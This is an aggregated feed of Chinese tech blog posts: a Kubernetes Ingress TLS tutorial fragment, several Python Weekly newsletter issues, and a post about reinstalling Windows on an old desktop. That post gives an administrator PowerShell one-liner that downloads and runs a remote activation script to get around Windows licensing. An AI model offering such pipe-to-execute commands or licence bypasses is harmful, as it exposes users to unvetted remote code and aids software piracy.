            port:
              number: 8080

这里我们将来自 foo.bar.com 的请求映射到 myapp:38080 服务,将来自 bar.foo.com 的请求映射到 hello-actuator:8080 服务。将这两个域名添加到 /etc/hosts 文件中,使用 curl 验证之:

# curl http://foo.bar.com:26360
Hello Kubernetes bootcamp! | Running on: myapp-b9744c975-9xm5j | v=1

如果不修改 /etc/hosts 文件,也可以通过 curl--resolve 参数手动解析域名:

# curl http://foo.bar.com:26360 --resolve foo.bar.com:26360:172.31.164.40
Hello Kubernetes bootcamp! | Running on: myapp-b9744c975-mb8l2 | v=1

TLS Ingress

我们还可以配置 TLS 证书来加强 Ingress 的安全性,这个证书需要放在一个 Secret 对象中。为了验证这个功能,我们先使用 openssl req 命令生成证书和私钥:

$ openssl req \
  -x509 -sha256 -nodes -days 365 -newkey rsa:2048 \
  -keyout tls.key -out tls.crt \
  -subj "/CN=foo.bar.com/O=foo.bar.com"

这个命令会在当前目录生成两个文件:tls.key 为私钥,tls.crt 为证书,生成的证书中需要指定 CN(Common Name),也被称为 FQDN(Fully Qualified Domain Name),这个一般就是你的域名,对应下面 Ingress 配置中的 host 字段。

然后我们再使用 kubectl create secret tls 命令创建一个 TLS 类型的 Secret,并将这两个文件保存进去:

$ kubectl create secret tls tls-secret --key tls.key --cert tls.crt

创建好的 Secret 如下所示:

# kubectl get secret tls-secret -o yaml
apiVersion: v1
kind: Secret
metadata:
  name: tls-secret
  namespace: default
data:
  tls.crt: LS0t...
  tls.key: LS0t...
type: kubernetes.io/tls

注意,Secret 中必须包含 tls.crttls.key 这两个键。

然后创建 Ingress 时,通过 tls.secretName 参数关联上这个 Secret 名称,就可以开启 TLS 功能了:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-tls
spec:
  tls:
  - hosts:
      - foo.bar.com
    secretName: tls-secret
  rules:
  - host: foo.bar.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: myapp
            port:
              number: 38080

访问 Ingress 的 HTTPS 端口进行验证:

# curl -k https://foo.bar.com:23476 --resolve foo.bar.com:23476:172.31.164.40
Hello Kubernetes bootcamp! | Running on: myapp-b9744c975-mb8l2 | v=1

使用 TLS Ingress 时有几点要注意:

  • 首先,Ingress 的 TLS 特性被称为 TLS 终止(TLS termination),这意味着从用户到 Ingress 之间的连接是加密的,但是从 Ingress 到 Service 或 Pod 之间的连接仍然是明文的;
  • 其次,Ingress 只支持一个 TLS 端口,当 Ingress 中配置多个主机名时,需要 Ingress Controller 支持 TLS 的 SNI 扩展,Ingress 通过 SNI 来确定使用哪个主机名;
  • 另外,不同 Ingress Controller 支持的 TLS 功能不尽相同,比如 这里 是 Ingress NGINX Controller 关于 TLS/HTTPS 的文档。

其他特性

Ingress NGINX Controller 通过注解和 ConfigMap 还能实现一些其他有用的特性,比如:

更多特性可以参考这里的 注解列表

参考

更多

APISIX Ingress Controller

Kong Ingress Controller

扫描二维码,在手机上阅读!

by aneasystone at November 21, 2023 12:00 AM

November 18, 2023

pythoncat

Python 潮流周刊#27:应该如何处理程序的错误?

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯。

🐱产品推荐

Walles.AI 是一款适用于所有网站的浏览器插件,支持 GPT4 问答、ChatPDF、网页内容解释及翻译、生成高质量文章、与 Notion 等工具协同、在线摘要 Youtube 视频等。前往官网体验:安装地址

🦄文章&教程

文章比较了两种处理错误的方法:抛出错误和将错误作为返回值,并参照 Go 和 Rust 的处理模式,介绍如何在 Python 中实现将错误作为值返回。(附1:两种风格的错误处理 分析了两种风格的优缺点及其适用场景;附2:周刊第一期的 编程语言的四种错误处理方法 从语法、代码可读性、演变过程、运行效率角度对比了不同方案)
部署 Django 程序时的一个常见错误是 403 Forbidden ,通常由 CSRF 错误导致,文章介绍了导致这种错误的 7 种原因,并解读 Django 源码,详细梳理了它们的校验逻辑。
Python 中的虚拟环境和包管理工具实在是太多了!但是应该如何选择最适合自己需求的工具呢?作者全面分析了 5 个类别的 10 多款工具,希望减少用户在抉择上的困惑。(附:作者针对此主题的两场演讲 PyCon DE 2023EuroPython 2023
你是否好奇一个代码调试器是如何工作的?当设置断点后,程序触发它时会发生什么?调试器是程序员日常必备工具之一,但极少有人知道它是如何实现的。这是一个系列教程,已更新 5 篇文章。值得一提的是,作者使用了最新的 Python 3.12 PEP-669 功能。
Python 3.12 已发布一个半月,你开始尝鲜了么?这篇内容全面的文章重点解读了新的几个 PEP,让你对这个版本有更清晰的认识。
Python 的字典是一种“哈希表”,提供了高效灵活的数据存储和检索方法。文章介绍了这种数据结构及其工作原理,探讨了如何用 Python 实现哈希表并解决哈希冲突。这是一个系列文章,作者还写了堆、队列、栈、数组等数据结构的指南。
作者想自己实现一个简化版的不太安全的沙盒,文章介绍了它的运作方式,以及一些关键性问题的解决方案,即独立的进程 + seccomp + setrlimit 。(附:如何安全运行别人上传的Python代码? 这篇文章的方案是使用 Docker 的 Python SDK 来构建镜像,在 Docker 中执行代码)
深入探讨了 Linux 中 cp 命令的工作原理,然后用 Python 实现了一个基础版本。从中可以看到高级编程语言提供的强大功能和简单性。
作者认为 Flask 虽然简单易用,但它可能会让初学者忽视 Web 开发的复杂性。Django 功能全面、生态系统成熟,更适合新手学习与提升生产力。
一则信息型的 PEP,用于分享 C API 的信息,包括定义 C API 的用途、利益相关者及其使用场景和要求、C API 的优势、C API 的 9 项薄弱的问题。
作者出于编程乐趣的目的,定义了一组类似 JSON 的语法规则,然后使用 Python 逐一实现不同内容的提取与解析,开发了一个解析器。
在作者眼中,Python 1.5 是他能完全理解的最后一个版本,而之后的版本则使得语言越来越大。语言设计时添加新功能,如何权衡取舍?作者建议学习 C 语言的例子,让语言处于“最小进化”模式。
🎁PyCon China 2023🎁今年国内 PyCon 将于 12 月在北京、上海、成都、杭州、重庆、深圳、广州联动举办。现在购票可享 7 折优惠:详情介绍

🐿️项目&资源

一个强大的开源可视化语言模型 (VLM),CogVLM-17B 有 100 亿个视觉参数和 70 亿个语言参数,具有高性能,在多项跨模态基准测试中排名领先。(star 2.1K)
让你通过 Python 代码生成各类视频,包括但不限于演示视频、动态图形、着色器艺术编码和游戏解说视频。支持视频编辑、音频剪辑、图层转换及添加特效等。
这是一个 Web APP,可将摄像头视频流传给 AI,让它分析内容并实时回答你提出的问题。100% 本地和私有,Web UI 是用 gradio 构建,多模态 AI 模型是 Bakllava
Vimium 是一个 Chrome 插件,可让你仅用键盘浏览网页,借助它,可以不将浏览器 DOM 传给大模型,仅用 GPT-4V 的视觉功能来浏览网页。(star 1.8K)
使用 selenium 模拟浏览器操作,可抓取用户推文并保存静态资源到本地,无需调用 Twitter API。(投稿自@kaixinol)
经常有人分享自己 RSS 列表导出的 OPML 文件,但这难以阅读也不宜直接拿去导入自己的阅读器。这个项目将 RSS 源的概要和一些统计信息输出成 markdown 表格,方便你按需订阅。(投稿自@AboutRSS)
一个平民版视频翻译工具,音频翻译、翻译校正、视频唇纹合成全流程解决方案。
awesome-python 是一个拥有 187K star 超火爆的项目,收录了大量框架、库、软件和资源。这个项目是对它收录内容的统计分析,每日更新,可在线查看统计表。
一个用于生成神经文本的库,可视为 transformers 库中 generate 方法的替代品。(star 3.3K)
全新的 notebook 项目,其每个 notebook 都可作为交互式 Web 程序共享,可浏览数据、运行实验、构建工具和部署应用。
一个资源集合项目,帮助你收集、操纵和分析股市数据。(star 1.2K)
一个远程监控和管理工具,使用 Django、Vue 和 Go 构建。类似 Teamviewer 的远程桌面控制、远程文件传输、远程执行命令和脚本、查看日志、告警管理、支持自动化。(star 2.3K)

🐢播客&视频

Guido 本周在 X 上分享了这则视频,视频作者介绍了他们规划给 Python 3.13 开发一个 JIT 编译器!(附:演讲视频的文稿
Sanic 是支持异步编程的 Python Web 框架,能够快速构建和运行。这期播客的嘉宾是 Sanic 的维护者之一,话题包括 Web 框架对比、消息规范、Mayim(单向 ORM)。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

November 18, 2023 12:00 AM

November 17, 2023

yangpeiyuan

台式机彻底清灰&重装系统,8年前的E3 1231 V3老机器继续发光发热

起因

银行卡过期换卡,要网银激活新卡片。把闲置了 2 年的台式机从柜子里面搬出来,插电竟然没反应。只好来次彻底的清灰。几个小时搞定了换硅脂、洗机箱、理线等物理环节。好久没装过系统了网络搜索好资料,纯记录下。这次用到了 2 个软件

Rufus 介绍

主要是老电脑的硬件不符合 win11 的推荐要求。这款 ISO 烧录器可以跳过硬件要求。软件本身使用很简单。

rufus

Microsoft Activation Scripts 介绍

跟以前流行的 KMS Pico 工具比起来,Microsoft Activation Scripts 安全性比较高,它的程式码是开源的,很难藏病毒,也不需要到奇怪的网站下载破解程式。可在Github 查看源码

根据官方文件,此脚本支持三种破解方式:

  • HWID:仅支援 Windows 10 和 Windows 11。利用 Windows 7 免费升级 Windows 10 所产生的密钥来启用系统。别忘记当年 Microsoft 强制升级 Windows 10 的时候,连盗版 Windows 7 都给升呢。此方法需要网路,重装系统后该密钥仍有效。
  • KMS38:仅支援 Windows 10 和 Windows 11。透过欺骗 gatherosstate.exe,不断延长 180 天的密钥试用期,将失效日期一路延期到 2038 年。此方法无需网络,不会在系统留下任何档案。
  • Online KMS Activation:支援 Windows 7 ~ Windows 11 系统。利用 Microsoft 官方的 Key Management Service 线上启用密钥,每 180 天要联网重新启用一次。此方法亦能够启用旧版 Office 产品。

以上三种方法,一般用 HWID 方式启用密钥足矣。

如何使用 Microsoft Activation Scripts

  1. 右键以系统管理员执行 Powershell
  2. 贴上以下指令(按右键贴上),Enter irm https://massgrave.dev/get | iex
  3. 此时会跳出一个小窗口,鼠标点一下窗口,输入数字 1 按 Enter,使用 HWID 启用密钥
  4. 等待破解完成,完成会显示 Press any key to Go back。完成后将窗口全数关闭,重启电脑。
  5. 重开机后开启 Windows 系统设定 → 关于,查看系统是否已为启用状态

E3 1231V3 ,再战 3 年!

20231116IMG_0708 20231116IMG_0727

by yangpeiyuan (i@yangpeiyuan.com) at November 17, 2023 02:39 PM

November 11, 2023

pythoncat

Python 潮流周刊#26:requests3 的现状

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯。

🐱品牌赞助

本周刊由“Python猫”出品,这是一个以 Python 技术科普和分享为主的科技自媒体,欢迎关注同名公众号。品牌合作请私信联系。

🦄文章&教程

2019 年时 requests 3 的筹款闹出了不小的风波,后来似乎没什么消息。现在作者发了一篇道歉文,看来项目是要重启了!文中列举了目前已经完成的一些事情,包括给所有公开接口加上了类型提示、重构所有命名空间和调整成兼容异步编程等。(附:筹款风波之《Why I’m not collaborating with Kenneth Reitz》)
grequests 构建在 gevent 库之上,可以并发多个请求,有效利用异步编程的强大功能。这篇基础教程介绍了它的基本使用方法,以及一个提升性能的建议。
这是一系列博文,目前已更新 6 篇,目标是探索和研究实现 Python 等编程语言所需的概念和算法,将会涉及分词器、解析器、编译器和解释器。
一篇教程,用 Python、Langchain 和 OpenAI embedding 开发一个书籍摘要工具。另外,作者使用 Streamlit 发布了一个在线体验网站
GeneratedField 是正在开发的 Django 5.0 的新功能,利用数据库的能力自动计算数据列的值。作者是 Django 的贡献者,测试了在 SQLite 中使用这个新功能的各种场景。(附:这篇文章还介绍了一些 Django 5.0 中的新东西
bisect 模块只有两个函数,但可以做很多事,文章介绍了:二分搜索、前缀搜索、在列表中查找连续的相等值、查找字典中最接近的键、自定义对象的排序、按照字典 key 搜索。
每当 Python 发布新版本时,三方库的维护者们也要紧锣密鼓开发兼容的对应版本,这不是轻松的事。作者介绍了他们遇到的严峻挑战,其实就是 Python 社区老大难的打包问题。好在维护者们已经找到了适用的解决方案。
OpenAI 发布了新的模型,它的能力到底如何呢?使用 GPT-4 作网页抓取,具有哪些优点和缺点呢?文章分别实验了抓取结构良好的网站、抓取 Google 自然搜索结果、抓取 Google SERP、以及抓取 Google MAPS 结果。
Python 圈最为流行的两大 Web 框架,到底应该如何取舍呢?这是一篇细致的长文,详细对比了它们在模板系统、URL 调度器、数据库支持、身份验证及授权、测试、软件架构、学习曲线等方面的差异。没有更好的,只有是否适合你的。
如何在新的 M2 MacBook 上安装 Python 呢?这篇手把手的指导教程中,作者给出的建议是 Pyenv + pyenv-virtualenv
这篇教程指导你开发一个 Android 数据分析应用,其作用是记录和显示你全天在屏幕上花费的时间。使用的 GUI 框架是kivy ,数据分析使用了Pandas
NEP-52 是 Numpy 的一则增强提案,旨在识别 Numpy 中过时、重复和弃用的 Python API,并作重构优化。这项工作是为了顺利迁移到 Numpy 2.0 而做的准备。作者介绍了他在其中遇到的挑战和取得的部分成就。
🎁Python开发者调查🎁官方第七次开发者调查,旨在了解 Python 开发社区的现状,鼓励你花费几分钟来填写:填写地址

🐿️项目&资源

一个视频翻译工具,可将一种语言的视频翻译为另一种语言和配音的视频。(star 1.4K)
由 Black 派生而成,用于解决 Google 数千名工程师在 monorepo 上工作产生的问题。
由 FastAPI 作者开源的 SQL 数据库,结合了 SQLAlchemy 和 Pydantic,旨在实现简单性、兼容性和稳健性。(star 11.2K)
一个专注于用户体验的后台管理系统,上期分享了关于“Django Admin 丑陋”的文章,wagtail 是可提供给终端用户使用的最佳推荐。(star 16.2K)
一个机器学习 AI,用于预测 NBA 比赛胜负。包含 2007-08 赛季到本赛季的所有球队数据。
这个仓库归档了一些 Python 电子书和学习资源,都是 PDF 格式。
一个数据处理框架,结合了 LLM 程序的批处理、流式处理和实时 API,可与各种数据源交互(如 Kafka、CSV 文件、SQL/noSQL 数据库和 REST API)。
它是数据密集型工作流的编排器,可将 Python 函数转换为可观察和编排的工作单元。支持自动重试、分布式执行、调度、缓存等功能,拥有强大的仪表板进行监控。(star 13.2K)
一个支持高清晰度的视频生成和编辑工具,目前包括文字生成视频及图片生成视频两种模型。(star 3K)
这篇文章收集了一系列基础资源、课程和教程、编码游戏、书籍、播客、YouTube 频道、最佳实践等等。
用于创建、操作和研究复杂网络的结构、动力学和功能,适用于复杂网络的分析。(star 13.4K)
这个项目收录了 Python 中的各种框架,有 Web 框架、API 框架、CMS、ML&DL&AI、任务/消息队列、并行&分布式计算、工作流&管道、DevOps、爬虫、GUI&TUI,等等。提供有一个在线网站

🐢播客&视频

由 Python 核心开发者 Pablo Galindo 和 Łukasz Langa 主理的播客,已推出两期节目:核心开发者 Sprint 及 Python 3.13.0 alpha 1PEP-703:移除 GIL
上世纪 90 年代诞生的 Python、Ruby、PHP 和 JavaScript 这些动态编程语言都在拥抱静态类型(mypy、Sorbet、Hack 和 TypeScript),诞生不算久的 Go、Kotlin、Dart 和 Rust 等都是静态类型。为什么静态类型卷土重来?这对未来意味着什么?
3、《Boost your Git DX》作者的两期播客
Adam Johnson 新书《提升你的 Git 开发者体验》上市后,分别参加了Real Python Podcast #179Pybites #139 两期播客节目。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

November 11, 2023 12:00 AM

November 04, 2023

pythoncat

Python 潮流周刊#25:性能最快的代码格式化工具 Ruff!

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。标题取自其中一则分享,不代表全部内容都是该主题,特此声明。

🦄文章&教程

我在今年 4 月份介绍过 性能最快的代码分析工具 Ruff,当时发现它不局限于 Linter 的定位,还提供了部分 Formatter 的功能。现在,它发布了重大更新,正式成为性能最快的 Python 代码格式化工具,比 Black 快 30 倍以上,比 YAPF 快 100 倍!
Python 3.12 已经发布了,你是否迫切想要升级了呢?现在是最佳的升级到 3.12 的时候么?文章建议你等到 12 月,等发布 3.12.1 错误修复版本后,因为新版本存在这些问题:不兼容的软件包、缺少二进制包、每次大版本总有大量的问题要修复。
作者认为 3.12 对于 Python 的意义,大于 3.5 的“async/await” 和 3.6 的 “Type Hint” 对于 Python 的意义!主要分析了三个方面提升:PEP-669 带来的可观测性、PEP-684 为 non-GIL 带来的性能提升、PEP-697 全新 C API 保证跨版本兼容性。
作者给了两个建议:不要使用 pip 和 requirements.txt 来管理 Python 依赖项,推荐使用 Poetry。pip 的主要问题是没有 lockfile 和手工管理虚拟环境麻烦。除了 Poetry,作者也提及了 Hatch 和 PDM。
Django 提供了一个默认的后台管理系统,即 Django Admin,它的 UI 很多年没有变化,显得设计过时了。为什么 Django 维护者们不改善它呢?作者通过询问多位维护者,得出了它的历史及如此设计的原因,主要观点是 Django Admin 面向内部管理员,不应该暴露给终端用户。
PyOxidizer 作者的一篇长文,他在将 Python 3.12 用于另一个库时,CI 运行python setup.py 提示 setuptools 无法导入。作者在寻求解决方案时,发现 Python 的打包生态非常让人困惑,他经历了一系列复杂而耗时的过程。
Ptpython 是一个功能丰富且对用户友好的 Python REPL,这是一篇非常详细的使用教程。重点介绍的功能包括历史记录、输入验证、自动补全、自动处理缩进、自定义交互式 shell、在脚本中嵌入 ptpython 等。
测试覆盖率固然重要,但这项指标并不足以解决所有问题。文章通过示例揭示测试覆盖率的不足,简单介绍了如何用 Hypothesis 作基于属性的测试。
从零开始编写一个异步 ASGI Web 框架难么?需要了解哪些知识、实现哪些功能、思考哪些问题?这篇循序渐进的教程是很好的学习材料,让你了解 Web 框架设计、异步编程、功能封装与项目管理。
不在日志中打印明文密码是安全需求,但是有太多可能出现打印密码的情况,如何能高效地隐藏明文密码呢?文章介绍了基于 logging 模块的两种实现方案:自定义 filter 和自定义 formatter,使用特定规则过滤明文密码。
monorepo 是将所有项目都放到一个代码仓管理,可能包含不同语言和框架。这意味着对它的依赖管理和 CI/CD 等都与普通代码仓不同。文章介绍如何使用 GitHub Actions 作为 CI/CD 工具构建简单的 Python monorepo。
我们通常习惯将 Python 称为一种解释型语言,因为它在运行时逐行解释和执行代码。很多人还知道 Python 其实也有编译的过程,解释器会先编译再执行。然而作者不止步于此,他通过苏格拉底式对话和几轮实验,引导读者重新思考“解释”与“编译”:它们是错误的二分法、限制了编程语言的可能性。Python 既是解释型语言,也是编译型语言!
🎁Python潮流周刊🎁已免费发布了 25 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
周末不休息,又更新了一期周刊,我想明天喝杯奶茶了~~

🐿️项目&资源

用于加密货币交易的 JavaScript/Python/PHP/C# 库,支持许多比特币/以太币/山寨币交易市场和商家 API。(star 29.5K)
这个项目是 DjangoCon US 2023 的演示项目,使用单文件不到 10 行代码,演示一个最小的 Django 应用。
基于 Starlette 和 Pydantic 之上构建的开箱即用的 Web 框架,用于构建现代可扩展的 API 应用,支持同步和异步,提供 DAO、ORM、ODM、依赖注入、权限管理等功能。
一个很有意思的项目,它包含从初级到高级的一系列挑战题目,让你在线练习 type hint 的使用。
可生成 OpenAPI http 服务端,内置 Prometheus 指标,提供结构化日志记录,支持多种语言代码生成。
一款高级的 Python 反混淆器,面向恶意软件分析师和逆向工程师,它拥有精美的 UI 和一些高级功能。
非常非常丰富的公共 API 清单,内容应有尽有。(star 2K)
阿里达摩院开源的语音识别工具包,功能包括语音识别(ASR)、语音端点检测(VAD)、标点恢复、语言模型、说话人验证、说话人分离和多人对话语音识别等。(star 1.2K)
支持采集和下载小红书图文/视频作品,支持批量下载,有作品文件完整性处理机制。
使用 GitHub workflow 自动运行一个简单的 Python 脚本,调用 OpenAI API 为 RSS 订阅源生成摘要,然后将新生成的 RSS 订阅源推送到 GitHub Pages。配置简单快速,无需服务器。
用于检查源代码中拼写错误的单词,支持多种运行方式,可指定忽略单词和文件,可用于 pre-commit。(star 1.5K)
具有 70 亿参数,在五千亿 Tokens 进行了训练,上下文窗口长度为 8192。在权威的代码评估Benchmark 上,CodeShell 取得同等规模最好的性能。(star 1.2K)

🐱赞助&支持

如果你喜欢周刊,请分享给其他需要的同学,让更多人可以从中受益~
如果你觉得周刊有价值,请随意赞赏买杯咖啡 进行支持!
如果你想帮助周刊办得更好,欢迎向我们投稿或提出建议:投稿/建议通道
如果你是品牌方或广告主,欢迎私信我,洽谈赞助与合作事项。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

November 04, 2023 12:00 AM

October 29, 2023

pythoncat

Python 潮流周刊#24:no-GIL 提案正式被采纳了!

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。标题取自其中两则分享,不代表全部内容都是该主题,特此声明。

🦄文章&教程

PEP-703 是 no-GIL 项目形成的提案,就在本周,Python 指导委员会宣布采纳了这个提案!这篇文章写于消息宣布的两周前,总结了过去一段时间里发生的技术思考和进展。(附:PEP-703 的讨论
这是一个新提案,建议 CPython 提供对 iOS 系统的 Tier 3 级支持。如果提案被采纳,则 Python 将会有更广泛的使用。 BeeWareKivy 是支持 iOS 的 Python APP 开发框架,说明了技术的可行性。
文章探讨在 Django 应用中集成一些高级的特性,例如:实现所见即所得编辑器、用户认证授权、实时通信功能、异步任务、集成 Elasticsearch 作全文搜索、自动化测试与持续集成。
介绍了使用 multiprocessing.Pool、multiprocessing.Queue 和 Redis 实现简单的任务队列,实现基础的任务调度处理。
上期周刊分享了一则吐槽 Flask 向后兼容性不好的文章(见下),这篇是对它的回应,作者是 Flask 的维护者之一。
这是上周《我们必须聊聊 Flask》的后续,作者收到了一些正面和反面的回应,文章延续了之前的话题,并主要反驳了一些观点。
rip 是用 Rust 开发的 PyPI 包解析及安装库,即 Rust 版本 pip。它试图在 Conda 和 PyPI 间架起一座坚固的桥梁,文章介绍它为了克服这两者的主要区别(元数据提取、Wheel 文件元数据、依赖项规范)而做的一些工作。
如何使用 Rust 实现关键代码来提升 Python 程序的性能?文章从多个方面优化 k-CorrSet 问题的实现,得到了很高的速度提升。
什么是 lambda 表达式和 lambda 函数?lambda 函数与 Python 的其它函数有何不同?它有什么局限性、什么时候应该避免使用、通常使用在什么场景?
视频翻译是对原始语言的视频处理后,显示为其它语言的字幕及配音。文章是一个低成本的尝试,技术栈:语音识别使用 openai-whisper 离线模型、文字翻译使用 Google 接口、文字合成语音使用 Microsoft Edge tts。
集成测试是指将各个代码单元作为一个整体进行测试。文章介绍基于 FastAPI 的集成测试方法,包括如何模拟身份验证、如何模拟外部 API、如何模拟 MangoDB 相关操作、如何模拟 AWS S3。
latexify_py 是一个 Google 开源的 Python 包,可以将 Python 源代码片段编译为相应的 LaTeX 表达式。文章介绍了它的使用方法,包括如何将 Python 函数转为公式、Latexify 参数设定、Latexify 生成伪代码。
🎁Python潮流周刊🎁已免费发布了 24 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

Python 中比较成熟的任务队列库,支持 RabbitMQ、Redis 等中间件,很容易与主流 Web 框架集成。(star 22.4K)
RQ(Redis Queue)是基于 Redis 的任务作业库,使用门槛低,支持排队、定时、重试等功能。(star 9.2K)
简单轻量级的任务队列库,支持 Redis、SQLite、文件系统和内存存储,支持多进程、多线程或 Greenlet 任务执行模型。(star 4.7K)
用 Rust 实现的 pip,支持下载、解析和安装 PyPI 包,支持 wheel (部分支持),计划将 sdist 文件。
Selenium 是 Web 自动化的最优库之一,Helium 是在其基础上的封装,使 Web 自动化更为方便。除了高级 API,它还简化了 Web 驱动管理、支持与嵌套的 iFrame 中元素交互、支持隐式等待、支持显式等待。(star 3.6K)
它支持解析 YAML 及 JSON 文件的简历,创建 latex 文件,然后渲染成 PDF 格式。目前仅有一款主题。
可以将 Python 源码或 AST 编译为 LaTex,使用 IPython 来漂亮地打印编译的函数。(star 6.5K)
在 Macbook 本机上使用的编程助手,配置及使用非常简易。(star 2.6K)
用于搜索空间中靠近给定查询点的点,与其它同类库的最大不同是可使用静态文件作为索引,可实现跨进程共享索引。被 Spotify 用作音乐推荐。(star 12.1K)
可对内存中的向量集合执行快速的近似最近邻搜索。也是出自 Spotify,每天被查询数亿次,扛得住海量用户的请求。召回率比 annoy 高。
它旨在构建测试领域的“智能体”,融合大模型和质量领域工程化技术,促进质量技术代系升级。开源了测试领域模型 TestGPT-7B,该模型以 CodeLlama-7B 为基座。
Waymo 是 Google 旗下的自动驾驶公司,Waymax 是其开源的轻量级、多智能体、基于 JAX 的自动驾驶模拟器,可轻松分发和部署在 GPU 和 TPU 等硬件加速器上。

🐢播客&视频

Jinja 的主要作者 Armin Ronacher 在 2012 年的演讲视频,介绍了 Jinja 编译器基础结构的设计,为什么这样设计,以及不同版本的迭代发展过程。(附:演讲的 PPT
Armin Ronacher 在 2014 年的演讲视频,比较了 Jinja 和 Django 的模板,分析它们产生截然不同设计的历史原因。(附:演讲的 PPT
JupyterCon 是一个专注于 Jupyter 应用和工具的年度活动,包括数据科学、机器学习、科学计算、数据可视化、教育和科学研究等领域。

🐱赞助&支持

如果你喜欢周刊,请分享给其他需要的同学,让更多人可以从中受益~
如果你觉得周刊有价值,请随意赞赏买杯咖啡 进行支持!
如果你想帮助周刊办得更好,欢迎向我们投稿或提出建议:投稿/建议通道
如果你是品牌方或广告主,欢迎私信我,洽谈赞助与合作事项。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

October 29, 2023 12:00 AM

October 22, 2023

pythoncat

Python 潮流周刊#23:35 个容易上手的 Python 小项目

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。标题取自其中两则分享,不代表全部内容都是该主题,特此声明。

🦄文章&教程

经常看到有人问:有没有简单易上手的 Python 项目推荐?不妨看看这篇文章,它介绍了 20 个小项目的想法,另外原作者已经实现了很多项目,源码可从文中的仓库地址获取。Python练手项目很多,不一定都合适你,但胜在不需要耗时太多,不妨试试看。
文章在配备 AMD 锐龙 7000 系列和第 13 代英特尔酷睿处理器的不同机器上共进行了 91 种基准测试,详细给出了各项数值。
作者在今年 Pycascades 上做了演讲“Python 中用元类作元编程”,并遇见 Guido,他们聊了一些 Python 使用中的话题以及如何成为 CPython 核心开发者。
程序员提升能力的一个方法是大量阅读优秀的代码,Python 标准库就是很好的选择。但标准库茫茫之多,该选择哪些呢?文章作者推荐了这些:statistics、pathlib、dataclasses、graphlib
国人的付费意愿差,独立开发者选择出海掘金的话,大多会选择用 Stripe 账号。这篇教程使用 Stripe 实现网站的收款功能,前后端技术栈为 Vue 和 Flask。
介绍了 Python 调用 Rust 的三种方法:HTTP、IPC(进程间通信) 和 FFI(外部函数接口)。
FastAPI 内置了一些中间件,但你可能还需要量身定制自己的中间件。文章介绍了 FastAPI 中间件原理及内置的中间件,然后基于函数和基于类来实现自定义中间件,给出了最佳实践建议以及相应的测试用例。
文章介绍了三种无密码的身份验证方法:基于邮件的身份验证、使用 OAuth 进行身份验证和使用超链接进行身份验证;介绍了它们的优点、局限性以及使用的注意事项。
有什么工具可以简化开发工作流程,遵循行业构建良好软件的最佳实践?文章分享了 4 种好用的工具:Poetry、Pre-commit 钩子、Makefiles、python-dotenv
Flask 最近发布了 3.0 版本,Werkzeug 也同时发了 3.0 版本,但它引入了不向后兼容的更改!作者吐槽 Flask 总是出现版本不兼容的问题,给出了不少例子和原因分析,希望 Flask 核心开发不要做无端的重构,要三思而行。(文章出自《Flask Web Development》一书的作者)
介绍使用 ProPainter 框架来解决视频去水印问题,它引入了双域传播的新方法和一种高效的遮罩引导视频 Transformers,增强了视频修复的性能,同时保持了计算效率,成本更低。
微软在 8 月让 Excel 支持了 Python,现在一家名为 Neptyne 的公司推出了一款在 Google Sheets 中使用 Python 功能的产品。文章介绍了它的基本情况。
🎁Python潮流周刊🎁已免费发布了 23 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

一个很简洁的网站,有近百道选择题,大多是 Python 基础语法相关的内容。来测一下你都学会了么?
它提供了一个类似于绘图程序的编辑器,用于构建图形用户界面,支持文本、图形、图像、按钮、输入框和 Web 视图等元素;提供了一个代码编辑器,可添加事件驱动的 Python 代码。
它内置了单元测试、代码检查、格式化、包管理、pre-commit 配置、Github Actions 等众多方便的工具,可以很方便的管理 Python 项目。(投稿自@Undertone0809)
轻松构建与部署可实时分析及操作视频流的应用,无需构建和维护多媒体 pipeline。支持插件,例如使用 Kafka 实时处理事件、使用 YOLOv8 模型等。
它具有高级语音活动检测、唤醒词激活和即时转录功能,使用的技术栈有:语音活动检测(WebRTCVAD、SileroVAD)、语音转文本(Faster Whisper)、唤醒词检测(Porcupine)。
它利用 Langchain 和 Selenium 使 AutoGPT 代理能够控制 Chrome 会话。支持以交互方式滚动、单击和输入网页上的文本,从而可以导航和操作 Web 内容。(star 1.4K)
一个简约的 Windows 记事本程序,支持翻译、TTS、Markdown,基于 PyQt-Fluent-Widgets 开发而成。
用于 k8s 的一个简单、可扩展的 Python 客户端库,如果你用过 kubectl,就会觉得它很熟悉。
可搜索多个内容源并返回 AI 的排名结果,支持连接到数据库(SQL、NoSQL、Google BigQuery)、公共数据(谷歌、Arxiv)、企业数据源(Microsoft 365、Jira、Miro等)。
一个强大的错误跟踪和性能监控平台,还支持定期任务监控、代码覆盖率、会话重播、告警、安全策略等功能,支持 100 多种平台和框架,支持 30+ 编程语言。(star 35.4K)
